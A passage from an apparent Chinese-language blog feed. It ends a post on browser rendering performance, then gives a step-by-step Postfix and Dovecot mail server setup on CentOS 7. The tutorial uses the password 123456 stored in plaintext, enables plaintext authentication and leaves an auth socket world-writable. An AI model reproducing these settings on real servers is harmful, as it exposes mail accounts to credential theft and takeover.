title="渲染性能"></a>渲染性能</h3><ol><li><p>减少<strong>回流</strong>（重排：大小、位置、布局几何信息发生变化）、<strong>重绘</strong> （颜色、背景、border）</p></li><li><p>将回流、重绘的元素作为单独的图层（css3D、canvas、position: fixed、video、css3动画节点）</p><blockquote><p>浏览器以 <strong>图层</strong> 为单位 进行渲染</p></blockquote></li><li><p>元素作为单独图层（<code>will-change: transform</code> ），使用 <code>opacity 或者 transform: transformX(100px)</code> 不会触发 回流、重绘（元素偏移量右 100px 则会交给GPU处理）</p></li></ol><hr>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="JS" scheme="https://wyy.hair/tags/JS/"/>
    
  </entry>
  
  <entry>
    <title>centos自建邮件服务器</title>
    <link href="https://wyy.hair/posts/efdae3ea/"/>
    <id>https://wyy.hair/posts/efdae3ea/</id>
    <published>2024-09-28T13:31:59.000Z</published>
    <updated>2025-12-30T05:02:59.899Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Centos-7-自建邮件服务器"><a href="#Centos-7-自建邮件服务器" class="headerlink" title="Centos 7 自建邮件服务器"></a>Centos 7 自建邮件服务器</h1><h2 id="前提准备"><a href="#前提准备" class="headerlink" title="前提准备"></a>前提准备</h2><h3 id="Https-网站域名"><a href="#Https-网站域名" class="headerlink" title="Https 网站域名"></a>Https 网站域名</h3><blockquote><p>详细搭建 https 参考链接 <a href="https://wyy.icu/2024/09/01/SSL-%E8%AF%81%E4%B9%A6Nginx%E9%83%A8%E7%BD%B2/">➡</a></p></blockquote><h3 id="添加-MX-记录"><a href="#添加-MX-记录" class="headerlink" title="添加 MX 记录"></a>添加 MX 记录</h3><blockquote><p><strong>优先级</strong>: 通常设置为 <code>10</code> 或 <code>20</code>，数字越小优先级越高。</p></blockquote><h4 id="验证-MX-记录"><a href="#验证-MX-记录" class="headerlink" title="验证 MX 记录"></a>验证 MX 记录</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig MX mail.wyy.icu# mail.wyy.icu 为你的邮件服务 域名</span><br></pre></td></tr></table></figure><h3 id="证书文件"><a href="#证书文件" class="headerlink" title="证书文件"></a>证书文件</h3><p><strong>cert</strong></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/www/server/cert/email.wyy.icu/fullchain.pem</span><br></pre></td></tr></table></figure><p><strong>key</strong></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/www/server/cert/email.wyy.icu/privkey.pem</span><br></pre></td></tr></table></figure><h3 id="添加权限"><a href="#添加权限" class="headerlink" title="添加权限"></a>添加权限</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo chmod 640 /www/server/cert/email.wyy.icu/fullchain.pem</span><br><span class="line">sudo chmod 640 /www/server/cert/email.wyy.icu/privkey.pem</span><br></pre></td></tr></table></figure><h3 id="服务端口"><a href="#服务端口" class="headerlink" title="服务端口"></a>服务端口</h3><p><code>云服务器控制台防火墙</code> + <code>服务器端口</code></p><p><strong>确保两者都要打开</strong></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">80# http</span><br><span class="line">443 # https</span><br><span class="line">143 # IMAP</span><br><span class="line">993 # IMAP(SSL)</span><br><span class="line">25  # SMTP 发件服务</span><br><span class="line">110 # POP3 收件服务</span><br><span class="line">465 # SMTP(SSL)</span><br><span class="line">587 # SMTP(SSL)</span><br><span class="line">995 # POP3(SSL)</span><br></pre></td></tr></table></figure><p><code>服务器端口</code>查看（Centos 7）</p><blockquote><p>firewalld</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看现有规则</span></span><br><span class="line"></span><br><span class="line">sudo firewall-cmd --list-all</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">允许 465 端口</span></span><br><span class="line"></span><br><span class="line">sudo firewall-cmd --permanent --add-port=465/tcp</span><br><span class="line">sudo firewall-cmd --reload</span><br></pre></td></tr></table></figure><blockquote><p>iptables</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看现有规则</span></span><br><span class="line"></span><br><span class="line">sudo iptables -L</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">允许 465 端口</span></span><br><span class="line"></span><br><span class="line">sudo iptables -A INPUT -p tcp --dport 465 -j ACCEPT</span><br></pre></td></tr></table></figure><h2 id="开始搭建"><a href="#开始搭建" class="headerlink" title="开始搭建"></a>开始搭建</h2><h3 id="安装-postfix"><a href="#安装-postfix" class="headerlink" title="安装 postfix"></a>安装 <code>postfix</code></h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install postfix -y</span><br></pre></td></tr></table></figure><h3 id="配置-postfix"><a href="#配置-postfix" class="headerlink" title="配置 postfix"></a>配置 <code>postfix</code></h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/postfix/main.cf</span><br></pre></td></tr></table></figure><p><code>确定如下配置未被注释 或 添加</code></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 解开注释</span></span><br><span class="line">mail_owner = postfix</span><br><span class="line"></span><br><span class="line"><span class="comment"># 邮件服务域名地址</span></span><br><span class="line">myhostname = email.wyy.icu</span><br><span class="line">mydomain = wyy.icu</span><br><span class="line">myorigin = <span class="variable">$mydomain</span></span><br><span class="line"></span><br><span class="line">inet_interfaces = all</span><br><span class="line"></span><br><span class="line">inet_protocols = all</span><br><span class="line"></span><br><span class="line">mydestination = <span class="variable">$myhostname</span>, localhost.<span class="variable">$mydomain</span>, localhost, <span class="variable">$mydomain</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 邮件存放目录</span></span><br><span class="line">home_mailbox = Maildir/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 新增配置</span></span><br><span class="line"><span class="comment"># 启用 SASL 验证，确保客户端身份验证</span></span><br><span class="line">smtpd_sasl_auth_enable = <span class="built_in">yes</span></span><br><span class="line">smtpd_sasl_security_options = noanonymous</span><br><span class="line">smtpd_sasl_local_domain = <span class="variable">$mydomain</span></span><br><span class="line">broken_sasl_auth_clients = <span class="built_in">yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 启用 TLS 进行加密通信</span></span><br><span class="line"><span class="comment"># 对应 邮件服务域名email.wyy.icu 的 SSL 证书位置</span></span><br><span class="line">smtpd_tls_cert_file = /www/server/cert/email.wyy.icu/fullchain.pem</span><br><span class="line">smtpd_tls_key_file = /www/server/cert/email.wyy.icu/privkey.pem</span><br><span class="line">smtpd_tls_security_level = may</span><br><span class="line">smtpd_tls_session_cache_database = btree:<span class="variable">$&#123;data_directory&#125;</span>/smtpd_scache</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="配置-SMTP-SSL-465端口"><a href="#配置-SMTP-SSL-465端口" class="headerlink" title="配置 SMTP SSL(465端口)"></a>配置 SMTP SSL(465端口)</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim  /etc/postfix/master.cf</span><br></pre></td></tr></table></figure><p><code>确保以下配置 解开注释</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">smtps     inet  n       -       n       -       -       smtpd</span><br><span class="line">  -o syslog_name=postfix/smtps</span><br><span class="line">  -o smtpd_tls_wrappermode=yes</span><br><span class="line">  -o smtpd_sasl_auth_enable=yes</span><br><span class="line">  -o smtpd_reject_unlisted_recipient=no</span><br><span class="line">  -o smtpd_client_restrictions=$mua_client_restrictions</span><br><span class="line">  -o smtpd_helo_restrictions=$mua_helo_restrictions</span><br><span class="line">  -o smtpd_sender_restrictions=$mua_sender_restrictions</span><br><span class="line">  -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject</span><br><span class="line">  -o milter_macro_daemon_name=ORIGINATING</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="启动-postfix"><a href="#启动-postfix" class="headerlink" title="启动 postfix"></a>启动 postfix</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动</span></span><br><span class="line">sudo systemctl start postfix</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">开机自启</span></span><br><span class="line">sudo systemctl enable postfix</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重启（可选）</span></span><br><span class="line">sudo systemctl restart postfix</span><br></pre></td></tr></table></figure><h3 id="安装-Dovecot"><a href="#安装-Dovecot" class="headerlink" title="安装 Dovecot"></a>安装 Dovecot</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install dovecot -y</span><br></pre></td></tr></table></figure><h3 id="配置-Dovecot"><a href="#配置-Dovecot" class="headerlink" title="配置 Dovecot"></a>配置 Dovecot</h3><h4 id="配置文件一"><a href="#配置文件一" class="headerlink" title="配置文件一"></a>配置文件一</h4><p><code>dovecot.conf</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/dovecot/dovecot.conf</span><br></pre></td></tr></table></figure><p><code>确认有如下配置</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">解开注释</span></span><br><span class="line">protocols = imap pop3 lmtp</span><br><span class="line"></span><br><span class="line">listen = *, ::</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加配置</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启用 SSL</span> </span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">证书位置相对 postfix 开头多了个 &lt;</span> </span><br><span class="line">ssl = yes</span><br><span class="line">ssl_cert = &lt;/www/server/cert/email.wyy.icu/fullchain.pem</span><br><span class="line">ssl_key = &lt;/www/server/cert/email.wyy.icu/privkey.pem</span><br><span class="line">disable_plaintext_auth = no</span><br><span class="line">mail_location = maildir:~/Maildir</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="配置文件二"><a href="#配置文件二" class="headerlink" title="配置文件二"></a>配置文件二</h4><p><code>10-ssl.conf</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/dovecot/conf.d/10-ssl.conf</span><br></pre></td></tr></table></figure><p><code>确认有如下配置</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ssl = required</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">注意文件位置开头多个 &lt;</span></span><br><span class="line">ssl_cert = &lt;/www/server/cert/email.wyy.icu/fullchain.pem</span><br><span class="line">ssl_key = &lt;/www/server/cert/email.wyy.icu/privkey.pem</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="配置文件三"><a href="#配置文件三" class="headerlink" title="配置文件三"></a>配置文件三</h4><p><code>10-master.conf</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/dovecot/conf.d/10-master.conf</span><br></pre></td></tr></table></figure><p><code>确认有如下配置</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">IMAP 登录配置</span></span><br><span class="line">service imap-login &#123;</span><br><span class="line">  inet_listener imap &#123;</span><br><span class="line">    port = 143</span><br><span class="line">  &#125;</span><br><span class="line">  inet_listener imaps &#123;</span><br><span class="line">    port = 993</span><br><span class="line">    ssl = yes</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">POP3 登录配置</span></span><br><span class="line">service pop3-login &#123;</span><br><span class="line">  inet_listener pop3 &#123;</span><br><span class="line">    port = 110</span><br><span class="line">  &#125;</span><br><span class="line">  inet_listener pop3s &#123;</span><br><span class="line">    port = 995</span><br><span class="line">    ssl = yes</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">登录验证</span></span><br><span class="line">service auth &#123;</span><br><span class="line">  unix_listener auth-userdb &#123;</span><br><span class="line">    mode = 0666</span><br><span class="line">    user = postfix</span><br><span class="line">    group = postfix</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="配置文件四"><a href="#配置文件四" class="headerlink" title="配置文件四"></a>配置文件四</h4><p><code>10-mail.conf</code></p><h5 id="前提条件"><a href="#前提条件" class="headerlink" title="前提条件"></a>前提条件</h5><p><code>创建用户 &amp; 目录</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加用户(自定义) mail</span></span><br><span class="line">sudo useradd mail</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">设置密码 123456</span></span><br><span class="line">sudo passwd mail</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">测试用户</span></span><br><span class="line">su mail</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">创建用户邮件目录 wyy.icu 对应 服务器域名 mail 对应 刚刚创建的用户名 /var/mail/vhosts 自定义目录</span></span><br><span class="line">mkdir /var/mail/vhosts/wyy.icu/mail</span><br></pre></td></tr></table></figure><p><code>配置文件四</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim vim /etc/dovecot/conf.d/10-mail.conf</span><br></pre></td></tr></table></figure><p><code>确认有如下配置</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">解开注释</span></span><br><span class="line">mail_location = maildir:~/Maildir</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">修改配置</span></span><br><span class="line">passdb &#123;</span><br><span class="line">    driver = passwd-file</span><br><span class="line">    args = /etc/dovecot/passwd</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">自定义目录</span></span><br><span class="line">userdb &#123;</span><br><span class="line">    driver = static</span><br><span class="line">    args = uid=mail gid=mail home=/var/mail/vhosts/%d/%n</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="配置文件五"><a href="#配置文件五" class="headerlink" title="配置文件五"></a>配置文件五</h4><p><code>10-auth.conf</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/dovecot/conf.d/10-auth.conf</span><br></pre></td></tr></table></figure><p><code>确认有如下配置</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">解开注释 确保允许 PLAIN 或 LOGIN 认证方法</span></span><br><span class="line">auth_mechanisms = plain</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">修改如下行，允许明文登录</span></span><br><span class="line">disable_plaintext_auth = no</span><br><span class="line">auth_mechanisms = plain login</span><br><span class="line">passdb &#123;</span><br><span class="line">    driver = passwd-file</span><br><span class="line">    args = /etc/dovecot/passwd</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">自定义目录 /var/mail/vhosts 配置文件要一致</span></span><br><span class="line">userdb &#123;</span><br><span class="line">    driver = static</span><br><span class="line">    args = uid=mail gid=mail home=/var/mail/vhosts/%d/%n</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="配置登录"><a href="#配置登录" class="headerlink" title="配置登录"></a>配置登录</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/dovecot/passwd </span><br></pre></td></tr></table></figure><p><code>添加 用户名: mail(与前文用户及配置 uid gid 用户名一致) &amp; 密码（创建 mail 用户的密码）</code> </p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mail@wyy.icu:&#123;PLAIN&#125;123456</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="启动-Dovecot"><a href="#启动-Dovecot" class="headerlink" title="启动 Dovecot"></a>启动 Dovecot</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动</span></span><br><span class="line">sudo systemctl start dovecot</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">开机自启</span></span><br><span class="line">sudo systemctl enable dovecot</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重启（可选）</span></span><br><span class="line">sudo systemctl restart dovecot</span><br></pre></td></tr></table></figure><h2 id="检查配置"><a href="#检查配置" class="headerlink" title="检查配置"></a>检查配置</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dovecot -n</span><br></pre></td></tr></table></figure><p><code>展示必要参数如下</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">2.2.36 (1f10bfa63): /etc/dovecot/dovecot.conf</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">OS: Linux 3.10.0-1160.108.1.el7.x86_64 x86_64 CentOS Linux release 7.9.2009 (Core)</span> </span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Hostname: VM-4-17-centos</span></span><br><span class="line"></span><br><span class="line">auth_mechanisms = plain login</span><br><span class="line">disable_plaintext_auth = no</span><br><span class="line">first_valid_uid = 1000</span><br><span class="line">mail_location = maildir:~/Maildir</span><br><span class="line">mbox_write_locks = fcntl</span><br><span class="line"></span><br><span class="line">passdb &#123;</span><br><span class="line">  driver = pam</span><br><span class="line">&#125;</span><br><span class="line">passdb &#123;</span><br><span class="line">  args = /etc/dovecot/passwd</span><br><span class="line">  driver = passwd-file</span><br><span class="line">&#125;</span><br><span class="line">passdb &#123;</span><br><span class="line">  args = /etc/dovecot/passwd</span><br><span class="line">  driver = passwd-file</span><br><span class="line">&#125;</span><br><span class="line">service auth &#123;</span><br><span class="line">  unix_listener auth-userdb &#123;</span><br><span class="line">    group = postfix</span><br><span class="line">    mode = 0666</span><br><span class="line">    user = postfix</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">service imap-login &#123;</span><br><span class="line">  inet_listener imap &#123;</span><br><span class="line">    port = 143</span><br><span class="line">  &#125;</span><br><span class="line">  inet_listener imaps &#123;</span><br><span class="line">    port = 993</span><br><span class="line">    ssl = yes</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">service pop3-login &#123;</span><br><span class="line">  inet_listener pop3 &#123;</span><br><span class="line">    port = 110</span><br><span class="line">  &#125;</span><br><span class="line">  inet_listener pop3s &#123;</span><br><span class="line">    port = 995</span><br><span class="line">    ssl = yes</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">ssl_cert = &lt;/www/server/cert/email.wyy.icu/fullchain.pem</span><br><span class="line">ssl_key =  # hidden, use -P to show it</span><br><span class="line">userdb &#123;</span><br><span class="line">  driver = passwd</span><br><span class="line">&#125;</span><br><span class="line">userdb &#123;</span><br><span class="line">  args = uid=lim gid=lim home=/var/mail/vhosts/%d/%n</span><br><span class="line">  driver = static</span><br><span class="line">&#125;</span><br><span class="line">userdb &#123;</span><br><span class="line">  args = uid=lim gid=lim home=/var/mail/vhosts/%d/%n</span><br><span class="line">  driver = static</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>确保 Dovecot 和 Postfix 可以读取证书和私钥文件。您可以使用以下命令设置权限：</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sudo chown root:postfix /www/server/cert/email.wyy.icu/privkey.pem</span><br><span class="line">sudo chmod 640 /www/server/cert/email.wyy.icu/privkey.pem</span><br><span class="line"></span><br><span class="line">sudo chown root:root /www/server/cert/email.wyy.icu/fullchain.pem</span><br><span class="line">sudo chmod 644 /www/server/cert/email.wyy.icu/fullchain.pem</span><br></pre></td></tr></table></figure><p><code>确保 在 465、995 端口（SSL）上监听</code></p><p><code>其他邮件端口 可根据前文 端口 说明 自行测试</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">sudo netstat -tuln | grep 465</span><br><span class="line">sudo netstat -tuln | grep 995</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">正常结果如下</span></span><br><span class="line">[root@VM-4-17-centos dovecot]# sudo netstat -tuln | grep 465</span><br><span class="line">tcp        0      0 0.0.0.0:465             0.0.0.0:*               LISTEN     </span><br><span class="line">tcp6       0      0 :::465                  :::*                    LISTEN </span><br><span class="line">[root@VM-4-17-centos dovecot]# sudo netstat -tuln | grep 995</span><br><span class="line">tcp        0      0 0.0.0.0:995             0.0.0.0:*               LISTEN     </span><br><span class="line">tcp6       0      0 :::995                  :::*                    LISTEN </span><br></pre></td></tr></table></figure><h2 id="客户端登录"><a href="#客户端登录" class="headerlink" title="客户端登录"></a>客户端登录</h2><p><code>以网易大师登录 </code> <code>mail 用户 wyy.icu主域名</code> <code>mail.wyy.icu 邮件服务域名（SSL）</code></p><ul><li><p>邮箱协议：POP</p></li><li><p>邮箱地址：<a href="mailto:&#109;&#97;&#105;&#x6c;&#64;&#x77;&#x79;&#x79;&#46;&#105;&#99;&#117;">&#109;&#97;&#105;&#x6c;&#64;&#x77;&#x79;&#x79;&#46;&#105;&#99;&#117;</a> </p><p><code>收信服务器</code></p></li><li><p>主机名 ：mail.wyy.icu</p></li><li><p>用户名 ：mail</p></li><li><p>密码：123456</p></li><li><p>端口：995</p></li><li><p>加密：SSL&#x2F;TLS</p></li></ul><p><code>发信服务器</code></p><ul><li>主机名：mail.wyy.icu</li><li>用户名： mail</li><li>密码： 123456</li><li>端口：465</li><li>加密：SSL&#x2F;TLS</li></ul><h2 id="查看日志"><a href="#查看日志" class="headerlink" title="查看日志"></a>查看日志</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看 Postfix 